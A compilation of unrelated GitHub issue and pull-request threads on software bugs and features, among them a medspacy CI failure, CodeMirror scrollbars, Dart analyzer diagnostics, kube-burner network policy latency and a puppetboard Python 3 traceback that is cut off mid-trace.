Failed test on python 3.10

https://github.com/medspacy/medspacy/actions/runs/3322917948/jobs/5492602413

Since Git Hub actions are not kept forever, I will capture some of the output of this failed test here:
self = <quickumls.toolbox.CuiSemTypesDB object at 0x7fa787365900>
path = '/home/runner/work/medspacy/medspacy/resources/quickumls/QuickUMLS_SAMPLE_lowercase_POSIX_unqlite/cui-semtypes.db'
database_backend = 'unqlite'

    def __init__(self, path, database_backend='leveldb'):
        if not (os.path.exists(path) or os.path.isdir(path)):
            err_msg = (
                '"{}" is not a valid directory').format(path)
            raise IOError(err_msg)

        if database_backend == 'unqlite':
>           assert UNQLITE_AVAILABLE, (
                'You selected unqlite as database backend, but it is not '
                'installed. Please install it via `pip install unqlite`'
            )
E           AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`

and also:
FAILED tests/test_notebooks.py::TestNotebooks::test_execute_example_notebooks - subprocess.CalledProcessError: Command '['jupyter', 'nbconvert', '--to', 'notebook', '--execute', '--ExecutePreprocessor.timeout=1000', '--ExecutePreprocessor.kernel_name=python3', '--output', '/tmp/tmpalt9k15i.ipynb', '/home/runner/work/medspacy/medspacy/notebooks/11b-QuickUMLS_Extraction_Advanced.ipynb']' returned non-zero exit status 1.
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_initialize_pipeline - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_quickumls_extractions - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_min_similarity_threshold - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_ensure_match_objects - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_span_groups - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_overlapping_spans - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`
FAILED tests/quickumls/test_quickumls.py::TestQuickUMLS::test_multiword_entity - AssertionError: You selected unqlite as database backend, but it is not installed. Please install it via `pip install unqlite`

This assertion seems strange since in the "Install dependencies" step, it seems like unqlite did get installed:
__pycache__.unqlite.cpython-310: module references __file__
creating /opt/hostedtoolcache/Python/3.10.8/x64/lib/python3.10/site-packages/unqlite-0.9.3-py3.10-linux-x86_64.egg
Extracting unqlite-0.9.3-py3.10-linux-x86_64.egg to /opt/hostedtoolcache/Python/3.10.8/x64/lib/python3.10/site-packages
Adding unqlite 0.9.3 to easy-install.pth file

Installed /opt/hostedtoolcache/Python/3.10.8/x64/lib/python3.10/site-packages/unqlite-0.9.3-py3.10-linux-x86_64.egg

It's been quite some time since I looked into this issue.  Looking back over my comments above, I was still very confused about how this could fail in these tests (to import unqlite) since it clearly had been installed from looking at the logs.
However, when I went back to look at the logs for this workflow action again, the logs were gone.  So I ran this again fresh on the develop branch.  Everything ran successfully.  I'm not sure why this is currently working, but it does manage my expectations.  I'm running this again now on master and if this succeeds, I will make that that appropriate scripts are called for Python 3.10 and close this issue.
Here are the results from the execution on develop:
https://github.com/medspacy/medspacy/actions/runs/4347089766

This is running successfully on the master branch.  I'm going to close this issue since this is now working.
@jianlins  I just wanted to give you a heads up that this is working.  I don't know if we changed something that resolved this, but it is running successfully now.


item()?['status'] goes  missing in the publish logic app workflow - filter array action

Describe the Bug
item()?['status'] goes  missing in the published logic app workflow - filter array action

Steps to Reproduce the Bug or Issue

Create a Scope in VSCode Logic app workflow
Add a Filter Array action to filter Scope failures
publish the workflow to Azure
open the workflow on the Portal

Workflow JSON
No response
Expected behavior
What I see on my VSCode designer should be visible on the Portal as well
Screenshots or Videos
No response
Platform And Browser

OS: Windows
Browser: Edge

Additional context
No response
AB#17441316

@Eric-B-Wu can you take a look at this one?

Should be fixed in the next version of the VS Code extension


log_tpm Vs. log_tpm_full, Why are specific genes different?

Hi!
If I understand correctly, the difference between log_tpm.csv and log_tpm_full.csv should be that noisy genes are removed from  log_tpm_full.csv to get  log_tpm.csv .
If I understand correctly, why are genes listed in both  log_tpm.csv and  log_tpm_full.csv have very different values?
example: b0002:
in log_tpm_full:
| control__wt_glc__1 | control__wt_glc__2 | fur__wt_dpd__1
b0002 | 2054.287 | 2238.411 | 3335.895
and in log_tpm, the same three conditions:
| control__wt_glc__1 | control__wt_glc__2 | fur__wt_dpd__1
b0002 | 11.00665 | 11.1302 | 11.70495
Why is that?

Looks like I forgot to log-transform the log_tpm_full values. I've fixed the file in the latest commit 9509f3b8269aae5d4f3cfee0085e469684b0ca9b


[BitSail][Website] update copyright time from 2018-2022 to 2022-2023

https://bytedance.github.io/bitsail/, at the bottom of home page
Before Change :
Apache LICENSE 2.0 Licensed, Copyright 2018-2022 BitSail All Rights Reserved
After Change:
Apache LICENSE 2.0 Licensed, Copyright 2022-2023 BitSail All Rights Reserved

closed by #361


edit user id token to use external issuers.

Addresses firebase issue in the example from issue #32, but in a more generic way. Removes hardcoded variables and loops through provided values.

I signed it!


OLS-598: Script to print bucket ACLs

Description
Script to print bucket ACLs
(we need to have tooling that allow us to display and use these information)
Type of change

[ ] Refactor
[x] New feature
[ ] Bug fix
[ ] CVE fix
[ ] Optimization
[ ] Documentation Update
[ ] Configuration Update
[ ] Bump-up dependent library
[ ] Bump-up library or tool used for development (does not change the final image)
[x] Tooling

Related Tickets & Documents

Related Issue #OLS-598

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 95.69%. Comparing base (c1241c1) to head (1328b0c).
Report is 9 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #1243   +/-   ##
=======================================
  Coverage   95.69%   95.69%
=======================================
  Files          56       56
  Lines        2395     2395
=======================================
  Hits         2292     2292
  Misses        103      103

/lgtm
/approved

/approve


[AutoPR botservice/resource-manager] typo: botservice

Created to sync https://github.com/Azure/azure-rest-api-specs/pull/6418

This PR has been merged into https://github.com/Azure/azure-sdk-for-go/pull/5173


Got an error when trying to configure editor with scrollbarStyle - "simple" option

Hello,
I want to customize code editor scrollbars, like it is shown in this demo: scrollbar demo
But I got an error when trying to pass scrollbarStyle option with value "simple":

My code looks like:
import 'codemirror/addon/scroll/simplescrollbars';
import CodeMirror from 'codemirror'
//... somewhere deeper
const editor = CodeMirror(this.refs.root, {
      scrollbarStyle: 'simple',
      //... other options
    })

If I correctly understand that addon script should add configurable through css scrollbar component.
But I see from sources that "initScrollbars" function uses "scrollbarModel" which doesn't have "simple" key and it doesn't have any relation with "CodeMirror.scrollbarModel.simple" which is defined in "simplescrollbars.js", so that probably causes problem here, correct me if I'm not right.
Need some help with that, thanks.

The code looks correct. One thing that sometimes comes up with bundlers or module loaders is that due to resolution shenigans they'll consider the codemirror module you import directly a different module from the one that an addon module imports, and thus it'll register its functionality with a copy of the main module, and the one you get doesn't see it. One way to test this is to add a console.log to codemirror.js and see if it gets shown multiple times. (Though if modes are working, that's probably not the issue.)

Hello @marijnh,
Yeah I thought about that and I did console.log inside that "simplescrollbars.js" addon and also inside "codemirror.js", so everything was called correctly.
"initScrollbars" function is the point when an error happens and here I don't see any relation with what addon does. It simply creates new scrollbarModel, but ignores that addon scrollbarModel.
export let scrollbarModel = {"native": NativeScrollbars, "null": NullScrollbars}

export function initScrollbars(cm) {
 //...
  cm.display.scrollbars = new scrollbarModel[cm.options.scrollbarStyle](node => {
   //...
  }, (pos, axis) => {
    //...
  }, cm)
 //...
}

Code from "simplescrollbars.js" addon:
CodeMirror.scrollbarModel.simple = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-simplescroll", place, scroll);
  };

The crash happens because when the editor starts up, CodeMirror.scrollbarModel.simple is undefined, which is set in simplescrollbars.js. So there's not a whole lot that can go wrong. Are you sure the console.log in codemirror.js only ran once? (I.e. if it ran multiple times, the module -- and thus also the scrollbarModel object -- is being duplicated).

Yes, you was right, it is somehow called twice, one time from "webpack" and second from "node_modules".
I will investigate what is going on. Thanks a lot for your help.

@LetItRock Did you find a resolution for this when using in webpack (2.0)?


Reading from debug text input

Hi,
Is there anyway we can read data from the text input (see bottom of the screenshot)?
I tried:
reader := bufio.NewReader(os.Stdin) email, _ := reader.ReadString('\n')
But I'm not getting anything...
Thanks for your help!

delve does not support reading from stdin.
See https://github.com/lloiser/go-debug/issues/41 and https://github.com/derekparker/delve/issues/65


About implementing functions from tf and tfKAN interleaved

Thank you for the library. I am curious if we can use both the libraries to write functions in the same model (say, many FC layers with the output layer is a DenseKAN). If this is not the case, would you mind suggesting me an alternation?
Thanks

In my opinion, the FC layer with activation function (tf.keras.layers.Dense()) and the KAN layer (tfkan.layers.DenseKAN()) enhance the non-linear expression ability of the model through two different approaches. The former mainly involves matrix multiplication, while the latter transfers the calculation to the spline function, only requiring adjustment of the spline coefficients.
Therefore, using them is like using different bases to represent the target you want to fit. For example, for any function f. If you use polynomial space as the basis (i.e. 1, x, x^2, x^3, ...) for expression, you will get the classical Taylor expansion expression of f:

f(x) = \sum_{n=0}^{\infty} (n!)^{-1} f^{(n)}(0) * x^n

and if you use trigonometric function space as the basis (i.e. 1, sin(x), cos(x), sin(2x), cos(2x), ...) for expression, you will get the Fourier expansion expression of f:

f(x) = a_0 + \sum_{n=1}^{\infty} (a_n * cos(nx) + b_n * sin(nx))

The classical MLP layer Dense() and KAN layer DenseKAN() are like using two different bases to fit the functional relationships in the data. KAN shifts the complexity of the model to the calculation of spline so as to enhancing the smoothness and flexibility of KAN's bases. Therefore, in the introduction and experiments of KAN authors, KAN may only require fewer model parameters to achieve good performance.
Here are some ideas about constructing a model mixed tf and tfkan:

If your task does not require a large model and you want to obtain a good explanation of the network connection structure (which is also the main focus of the KAN author), then constructing a smaller scale shallow DenseKAN is a suitable choice (in the author's introduction, such networks are mostly within 3 layers)
If your task requires a large model to achieve good approximation ability, in my observation, DenseKAN() will not have a greater performance advantage than FC Dense(). The deep MLP using residual connections in the architecture of the model now also has excellent non-linear expression ability. In addition, It should be noted that for large-scale neural networks, the training and inference efficiency of DenseKAN() has not been optimized yet

Hope this can help u~ 🤗

Thanks for answering.

I am so sorry I was confused about the use of the buttons. Thanks for answering my question.


Http POST Request not working

Operator's both requests and repose come as Http POST.
Changing the route to post method breaks the code.

@owususamuel In laravel, you can exclude your HTTP post URLs from CSRF verification in this file, VerifyCsrfToken.php
Example:
/**
 * The URIs that should be excluded from CSRF verification.
 *
 * @var array
 */
protected $except = [
    'ussd',
    'callback',
];


Reduce longform article width

This is certainly open for debate, but when clicking through to the longform article off of Jest's website today it immediately struck me that the reading width is far wider than what the eyes are naturally comfortable with.
Going over to Medium (where I assume they've done an enormous amount of user testing) I see that they've capped their width at 700px, and so I've brought this PR in line with that.
This also reduces some of the cramp between the Artsy logo and the left-hand content margin.
Before:

After:

Thoughts?

👍 much better


Having the api / database/ dataset as self hostable docker container

First of all thank you for dedicated your time and resources to creating this very beneficial API. May Allah bless you plentifully.
I am in the process of helping building an Islamic Prayer App and given the API is not rate limited it would be fantastic to use towards this production scale app. My only concern is having some additional redundancy or means to recover this portion of the  system if for any reason the api is down.
Is it within scope to have a self hostable docker container for the api? Happy to help put that together if needed as well!

As-salamu 'Alaikum brother.
This is a very good suggestion and I'll be adding the self hostable feature very soon.
The code needs some twiks to work with self hosted environment.

Hey @Nusab19 Thank you so much for this brother!
I will test this out tomorrow and share my feedback 🙏

As-salamu 'Alaikum brother.
My apologies for the delay in testing this it has been a hectic last few weeks working and releasing on our app  Ill make time to test this in the next day or two and provide feedback!
Happy Holidays to you as well!


Add a 404 not found page [GSSoC'23]

Add a 404 not found page
Can you assign this to me, I want to work on this under GSSoC'23

Hi! I would like to contribute to this issue under the GSSoC'23. It seems interesting and aligned with my skills. I would be happy to take it up and work on this project.

Hi, @Sukhendu2002  , you can work on this and please refer to the Contribution guidelines on the readme once.
All the best!

Hi! I would like to contribute to this issue under the GSSoC'23. It seems interesting and aligned with my skills. I would be happy to take it up and work on this project.

@SONA-1111 I have assigned this issue to someone. So, please raise another issue.

Thank you, @AKD-01, for assigning this issue to me. I will begin working on it promptly.

hey @AKD-01 still now error page is not added please assign me i will complete till tommorow only

I solve all the conflicts, just waiting for the review and merge


Analyzer produces unexpected compile time error when checks i-t-b for nonfunction typedef.

Dart SDK version: 2.13.0-59.0.dev (dev) (Sun Feb 21 18:06:58 2021 -0800) on "windows_x64"
Here is a source code example:
typedef F<X> = void Function<Y extends X>();
F<X> toF<X>(X x) => <Y extends X>() {};

class A<X> {}
class B<X> extends A<X> {}
class C<X1, X2, X3, X4> {}

typedef G<X1 extends A<X1>, X2 extends A<X1>, X3 extends B, X4 extends X2> =
    C<X1, X2, X3, X4>;

test(G source) {
  var fsource = toF(source);
  F<G<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>>> target1 = fsource;
}

main() {}

Sample output is:
$> dartanalyzer --enable-experiment=nonfunction-type-aliases test.dart
Analyzing test.dart...
  error - 'A<A<Never>>' doesn't conform to the bound 'A<Never>' of the type parameter 'X2'. - test.dart:13:16 - type_argument_not_matching_bounds
  error - A value of type 'void Function<Y extends C<A<dynamic>, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>>>()' can't be assigned to a variable of type 'void Function<Y extends C<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>>>()'. - test.dart:13:69 - invalid_assignment
  hint - The value of the local variable 'target1' isn't used. - test.dart:13:59 - unused_local_variable
2 errors and 1 hint found.

It looks rather strange: as it's nonfunction typedef, Never should not appear in the type parameter here.
It's affects co19 test LanguageFeatures/Instantiate-to-bound/nonfunction_typedef/static/nonfunction_l4_t01.dart

I believe we agree that it is correct for the analyzer to report an error here. If we change the example to use a slightly different type for target1 then there is no error from the analyzer, and also no error from dart:
F<G<A<dynamic>, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>>> target1 = fsource;

The difference is the first type argument to G which is now A<dynamic>, which is what I get from running the i2b algorithm manually, and it is also implied by the error message about test.dart:13:69.
So the surprising behavior is that the error message about test.dart:13:16 mentions Never, even though that doesn't occur in the actual source code.
I suspect this is because the error message is produced during a check on G<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>> (let's call that type T):
First it is noted that this type isn't regular-bounded. Then it is checked whether or not it is correctly super-bounded. This involves an "inversion" of T (replacing some occurrences of extreme types by "the opposite type"), and the inverted type is G<Never, A<A<Never>>, B<Never>, A<A<Never>>>. The type T is correctly super-bounded if and only if the inverted type is regular-bounded.
But this check fails, because we require X2 == A<A<Never>> <: A<Never> == A<X1>, which is not true.
I believe it would be better to suppress the error message from the check on the inverted type: If the check on the inverted type succeeds then the check on T succeeds (so we don't need to worry, there are no error messages). But if the check on the inverted type fails then T is not correctly super-bounded, and it is confusing if we report errors on the inverted type.
So how do we report that situation? If a type "looks like" it is super-bounded, but it is not correct, then it is probably a good idea to report it from the perspective that it should have been regular-bounded, and then all the violations of bounds should be reported.
This means that a developer who actually wants to write a super-bounded type, but gets it slightly wrong, doesn't get much help. Nevertheless, this is probably better in the (typical) case where the intention was to write a regular-bounded type, and the developer who is planning to use a super-bounded type might will know the type system so much better that it will be ok.
The CFE uses a 'context' message here:
class A<X> {}
class B<X> extends A<X> {}
class C<X1, X2, X3, X4> {}

typedef G<X1 extends A<X1>, X2 extends A<X1>, X3 extends B, X4 extends X2> =
    C<X1, X2, X3, X4> Function();

void test(G<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>> arg) {}

main() {}

This program gives rise to the following diagnostics:
n026.dart:8:64: Error: Inferred type argument 'dynamic' doesn't conform to the bound 'A<X1>' of the type variable 'X1' on 'G'.
 - 'A' is from 'n026.dart'.
Try specifying type arguments explicitly so that they conform to the bounds.
void test(G<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>> arg) {}
                                                               ^
n026.dart:5:11: Context: This is the type variable whose bound isn't conformed to.
typedef G<X1 extends A<X1>, X2 extends A<X1>, X3 extends B, X4 extends X2> =
          ^
n026.dart:8:64: Context: If you want 'G<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>>' to be a super-bounded type, note that the inverted type 'G<Never, A<A<Never>>, B<Never>, A<A<Never>>>' must then satisfy its bounds, which it does not.
 - 'A' is from 'n026.dart'.
 - 'B' is from 'n026.dart'.
void test(G<dynamic, A<A<dynamic>>, B<dynamic>, A<A<dynamic>>> arg) {}
                                                               ^

Sure, there should be an error. I've just was confused by its diagnostic.
My additional question is:
With the example above analyzer produces 2 errors for the line #13 (13:16 and 13:69) whereas dart throws a error for the position 13:69  only. Is this a correct behavior?

I don't think it's useful to insist on having the exact same locations for errors in the CFE and the analyzer. I think we maintain that property in the typical case today, and it would be very good if we keep it that way, but the underlying representation of semantic information may be different in ways that give rise to exceptions here and there. The test runner does support separate specifications of error locations, so we can live with this.
However, I do think that it would be useful to reconsider the error message from the analyzer: It is really confusing that it mentions Never with no reference to super-bounded types. So I'll label this issue accordingly.
Also, I created https://github.com/dart-lang/sdk/issues/45131 to report the fact that the CFE does not emit a compile-time error for the malbounded type annotation.


docs - contour plot warning and wrong color

x = -2:0.2:2;
y = -2:0.2:3;
[X,Y] = meshgrid(x,y);
Z = X.*exp(-X.^2-Y.^2);
contour(X,Y,Z,'ShowText','on')

fig2plotly(gcf);

Results in this warning
Whoops! Unrecognized field name "showlabels" in contours

Same error:
[X,Y,Z] = peaks(50);
contourf(X,Y,Z,[2 3],'ShowText','on')

fig2plotly(gcf);

but this plot, the background is supposed to be gray, it is blue.
Similarly, wrong background:
[X,Y,Z] = peaks;
contourf(X,Y,Z,[2 2])

fig2plotly(gcf);

This was fixed by PR #467
Example 1
x = -2:0.2:2;
y = -2:0.2:3;
[X,Y] = meshgrid(x,y);
Z = X.*exp(-X.^2-Y.^2);
contour(X,Y,Z,'ShowText','on')

fig2plotly(gcf);

Example 2
[X,Y,Z] = peaks(50);
contourf(X,Y,Z,[2 3],'ShowText','on')

fig2plotly(gcf);

Example 3
[X,Y,Z] = peaks;
contourf(X,Y,Z,[2 2])

fig2plotly(gcf);

PLUS
[X,Y,Z] = peaks(50);
contourf(X,Y,Z,[-4:0.5:4],'ShowText','on')

fig2plotly(gcf);


Add network policy latency measurement

This patch adds a new measurement "netpolLatency" to measure network policy latency.
Whenever a network policy is added, this measurment reads all rules and corresponding pods from its config. For ingress rules, it connects to peer pods and from there issue request to local pods. Network policy latency is the time between network policy object creation and testing of all succesful connections among peer ad local pods.
Support for egress and CIDR rule verfication is in progress.
Some considerations:

If the focus is on network policy testing, then the suggestion is to create all namespaces and pods in previous kube-burner job and use current job to define only network policy with these namespaces and pods. With this, we can avoid waiting for pod readiness as pods are already in read state before the network policies are created. Also set "skipIndexing: true" for the first job which creates pods and deny all network policy. examples/workloads/network-policy/network-policy.yml follows this.

Add "jobPause: 30s" to the jobs as network policy validation takes more time than network policy object creation. Jobs creation and measurements are parallel threads and Kube-burner won't wait for the completion of network policy measurements once object creation is succesful.

Type of change

[x] New feature

@venkataanil thanks for these changes, would you mind adding a unit-test as well, please?

Last push was related to an optimization where we each into remote namespace pod ping all pods of current namespace. Earlier we exec into remote namespace pod for ping each local pod.
I will address review comments in next push.
I am working on an alternate approach, so please do not merge this PR.

@venkataanil can we close this PR? Looks like ocp-wrapper PR has yaml configurations to deploy resources related to this workload.

Closing in favor of https://github.com/kube-burner/kube-burner/pull/679


Adding comment for ad group ad status

Adding comment about why ad group ad should be enabled for hotels, originally brought up in https://github.com/googleads/google-ads-dotnet/pull/123#discussion_r352711245

Thanks!


bbox_head error about registering a model

For experiments, I needed to replace dino_head in the DINO model with RFLA_AutoAssignHead. I added the rfla_autoassign_head.py file in the local models directory and registered it in init.py. The program is still reporting errors, please help me to check, respect

Also, my local environment is fine, because I didn't change the head before it worked

Have you solved this problem now?


[add] btn - exact_only option to omit second search

Motivation for changes:
If the title to be searched ends in a parenthesis, and there are no results on the first search, btn automatically runs a second search omitting the text in parenthesis. This can cause unwanted results to be accepted. This change adds a second config type, a dict with api_key and exact_only. When exact_only is set to yes, the second search will never be run.
Detailed changes:

btn now accepts either of the below config types.
If exact_only is true (yes), the second search will never be run.

Config usage if relevant (new plugin or updated schema):
Original style:
  discovery:
    from:
      - btn: API_KEY_HERE

Optional new style:
  discovery:
    from:
      - btn:
          api_key: API_KEY_HERE
          exact_only: yes

Maybe that value can be exposed by the next_series plugins?

(Looking at next_series_episodes though it should be very similar in next_series_seasons)
Okay, what about if we inserted this at line 67:
        grab_series_config = next((d for i,d in enumerate(task.config['series']) if series.name in d), {})
        series_config = ''
        if grab_series_config:
            series_config = grab_series_config.values()[0]

And then add series_config to the entry that's created immediately thereafter? Any plugin receiving the entry could utilize any series settings it wanted to.

Sounds incredibly hacky.

From the looks of it, there's no way to know outside of the series plugin if exact was used (this can be manual via config or exact). Maybe the soltuion is just to set an attribute to True and then return in the entry under series_exact or something

While we're talking about it, identified_by should be exposed too, so next_series_* can take it into account when deciding whether to process a series, i.e. #1785. series_identified_by?

Thus is irrelevant now with the new series metainfo changes, right?

Yeah it should be.


[Blazor] Component is not rendered

Simple razor component like this is not rendered:

foo

until @inherits ComponentBase is added to .razor file.
Next when I move this component to different directory than parent component which is using it, is not rendered even with @inherits. BUT it works if the other directory is called Common.
I'm using .NET Core 3.0 preview 5, Visual Studio 2019 1.0 preview 3

When I tried to prepare minimal working sample I was not able to reproduce the first problem. The second is related to namespaces of the components: I had Common namespace included in _Imports.razor but not Charts folder. Is it possible to include compile error when component not found?
(Changing from bug report to feature request)

Thanks for contacting us, @mashbrno.
When moving your component to a new directory/namespace, you should make sure an appropriate using is included from where you're trying to use it.
Going forward, we're going to simplify this scenario by warning in situations described in the following issue: #9860


Remove catch_warnings in slicing

Description
This removes use of catch_warnings in slicing because using that context manager has the side of effect of forgetting any previously raised warnings. Using those in slicing means that any warnings raised in slicing are shown every time, whereas the default behavior for Python is to only show the first time per location.
The removal of catch_warnings in Image._update_thumbnail is justified because napari requires scipy >=1.4.1 and because the warning that was catching was removed in scipy 1.4.0 (thanks @jni!).
The one in the Layer.thumbnail setter is a little harder to justify, but here's my reasoning.

I protected one common case of warnings, which is non-finite values.
Even if we get a warning, it will be shown once by default.
Since we depend on scikit-image now, I considered just using its img_to_ubyte instead of our convert_to_uint8, but I think it warns in more cases.

Obviously, we have other usage of catch_warnings that could cause similar problems and this PR doesn't touch those. In general, we should be cautious about using catch_warnings in code paths that are hit frequently.
Type of change

[x] Bug-fix (non-breaking change which fixes an issue)

References
Closes #5588.
How has this been tested?

[x] all existing tests pass with my change

I manually tested with examples/add_multiscale_image.

This is probably small and contained enough to be brought into 0.4.18, but if it's difficult to cherry pick I think it's OK to drop this too.


fix: Use Video RGB pixel format (0x1 instead of 0x100)

What
Previously the JPEG format (0x100) was used, when instead we should've used RGBA_8888 (0x1).
This fixes a crash.

Changes

Tested on

Related issues

overtaken by #1875 ?


Signed pieces of Data

I have a piece of Data, and a signature of that data from a third party. Now I want to verify that signature in my validator script using verifySignature. I can't do that at the moment because I don't know the ByteString of the message that was signed :(
Perhaps we should change the verifySignature primitive to take a Data as the message.

We had this problem before. Generally, we want to work with deserialized data as much as possible, but signatures only work on serialized data.
I don't have a good solution for this. All schemes for preserving this information to later on can be tampered with.

And it would be nice to avoid re-serializing the Data!

We had this problem before

I know, but I couldn't find an issue for it
What about changing verifySignature to take Data? I think it makes sense if you do #1518. Right now, verifySignature is not very useful.

That's equivalent to adding serialiseData :: Data -> bytestring and leaving verifySignature as is (provided that we're okay with exposing the serialization of Data, which I'm unsure about).
The problem is that it's potentially computationally wasteful. But maybe that's okay.

Jann came up with a nice way of doing this in https://github.com/input-output-hk/plutus/pull/1834, since we typically have the hash->data mapping for various things from the PendingTx.


On log in, have a different view / clear ambits

On log in, can drag out the drawer

Need to make log in page redirect to user's ambits


Support multienv

projectDetails.projectConfig.projectPath is undefined. Because amplify has supported multienv.
I changed to use searchProjectRootPath function of pathManager for retrieve project root path.

@Yossi-a Please review this PR.


How we can set default Country in my app any idea ??

i have issue when app is run US +1 country show automatically how i can remove it and set my own selected country as a default ?

can you provide some more details? It does not set anything by default. A sample app should help debug the issue

You need to call "sortCountries" in the place when u are setting up the recyclerView, because you are using sort for 'countries' array not for 'searchResults' array.
 @Override public void setupRecyclerView(View sheetView) {
    searchResults = new ArrayList<>();
    searchResults.addAll(countries);

    sortCountries(countries);   // ********* ADD THIS LINE ***************

    adapter = new CountriesAdapter(sheetView.getContext(), searchResults,
        new OnItemClickListener() {
          @Override public void onItemClicked(Country country) {
            if (onCountryPickerListener != null) {
              onCountryPickerListener.onSelectCountry(country);
              if (bottomSheetDialog != null) {
                bottomSheetDialog.dismiss();
              }
              if (dialog != null) {
                dialog.dismiss();
              }
              dialog = null;
              bottomSheetDialog = null;
              textColor = 0;
              hintColor = 0;
              backgroundColor = 0;
              searchIconId = 0;
              searchIcon = null;
            }
          }
        },
        textColor);
    countriesRecyclerView.setHasFixedSize(true);
    LinearLayoutManager layoutManager = new LinearLayoutManager(sheetView.getContext());
    layoutManager.setOrientation(LinearLayoutManager.VERTICAL);
    countriesRecyclerView.setLayoutManager(layoutManager);
    countriesRecyclerView.setAdapter(adapter);
  }

There is no default selection. Its simply showing the list of countries.
If you want to get the country object you want (for ex. India)
  private val picker = CountryPicker.Builder()
        .with(this)
        .listener(this)
        .sortBy(SORT_BY_NAME)
        .build()

then:
val country = picker.getCountryByISO("IN")
and you get the country you want

Hello, how can I show one country on the top?
Suppose my requirement is, I need to show the UAE flag at the top of the list. Even before Afghanistan.
Is it possible with the library?


Dask support for hvplot

Did you install dask support using import hvplot.dask?

Oh was unaware of that. Thanks!

No problem.  Same goes for any of the other data backends (hvplot.pandas, hvplot.streamz, hvplot.xarray, etc...).


Fixing flickering flags

Implementation of #445.
EDIT: Sorry it says it uploads cultures again, I don't know why.

I think you might have to close the branches and create new ones. You can probably reuse the names, though.


New SPFx Field Control -  Field-Picker-List-Data

Q
A

Bug fix?
[ ]

New feature?
[X ]

New sample?
[ ]

Related issues?
fixes #X, partially #Y, mentioned in #Z

What's in this Pull Request?
New Field Control , I developed a SPFx Field Control that is based on BasePicker Office-ui-fabric-react control, that permite select values from a list column value, (lookup field), but automatically suggest values as you type.
You can get more details here:
https://github.com/joaojmendes/Field-Picker-List-Data
I think this feature may be util to the community.
Thank you!
Joao Mendes

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: joaojmendes sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

Hi @joaojmendes
Thanks for your PR, but there are few issues with it:

You should create PRs from the custom branch in your forked repo and reference dev branch of this repo. For example, you've forked this repo and created a new branch called field-picker-list-data. So the pull request should be from forked-repo:field-picker-list-data into dev.
I've reviewed the files in the commits related to the PR and I didn't find any new control there. Moreover, all related commits are done by other people and just appeared because you're trying to push changes from dev to master.

Please, verify the points above and I believe that @estruyf will close this one and you'll need to create a new one.
Thanks!


Fix a libxrandr memory leak

The XRRGetScreenResources and XRRGetCrtcInfo functions do dynamically allocate memory which should be freed with XRRFreeScreenResources and XRRFreeCrtcInfo respectively.
I noticed this because I was hunting a different issue and noticed ASAN started complaining about this. I had to dug into the libxrandr source code to figure out that those functions do dynamic allocations and the return value should be freed.
This is a pretty minor issue. On my testing the wasted memory was 3388 bytes. But since I already figured out how to solve this issue I thought why not upstream it.

Thanks!


Add check for existence of variable

This issue was originally created at: 2005-02-11 09:59:28.
This issue was reported by: hsn.
hsn said at 2005-02-11 09:59:28

improve conf checking framework. Add function which tests if some
variable is defined in C library.

issues@scons said at 2005-02-11 09:59:28

Converted from SourceForge tracker item 1120949

gregnoel said at 2009-02-06 05:44:53

Bug party triage.  Gnu configure calls it AC_CHECK_DECL; it ought to be a fairly
simple wrapper around TryLink().

gregnoel said at 2009-02-06 05:48:16

Forgot keyword.

Fixed in release 0.98 with introduction of conf.CheckDeclaration()


Python 3 incompatibility: inventory page table empty with puppetboard 0.2.1

Hi,
accessing /inventory, I see the header of the inventory table, with all its columns, but the table contents is not rendered. Running the daemon in debug mode I see following backtrace:
[2017-02-13 13:21:24 +0100] [11148] [DEBUG] GET /inventory
[2017-02-13 13:21:24 +0100] [11148] [ERROR] Error handling request
Traceback (most recent call last):
File "/usr/local/lib/python3.6/site-packages/gunicorn/workers/sync.py", line 181, in handle_request
for item in respiter:
File "/usr/local/lib/python3.6/site-packages/werkzeug/wsgi.py", line 703, in next
return self._next()
File "/usr/local/lib/python3.6/site-packages/werkzeug/wrappers.py", line 81, in _iter_encoded
for item in iterable:
File "/usr/local/lib/python3.6/site-packages/flask/helpers.py", line 129, in generator
for item in gen:
File "/usr/local/lib/python3.6/site-packages/jinja2/environment.py", line 1208, in next
return self._next()
File "/usr/local/lib/python3.6/site-packages/jinja2/environment.py", line 1190, in generator
c = next()
File "/usr/local/lib/python3.6/site-packages/jinja2/environment.py", line 1013, in generate
yield self.environment.handle_exception(exc_info, True)
File "/usr/local/lib/python3.6/site-packages/jinja2/environment.py", line 754, in handle_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python3.6/site-packages/jinja2/_compat.py", line 37, in reraise
raise value.with_traceback(tb)
File "/var/www/puppetboard/puppetboard/templates/inventory.html", line 1, in top-level template code
{% extends 'layout.html' %}
File "/var/www/puppetboard/puppetboard/templates/layout.html", line 95, in top-level template code
{% block content %} {% endblock content %}
File "/var/www/puppetboard/puppetboard/templates/inventory.html", line 15, in block "content"
{% for node, facts in fact_data.iteritems() %}
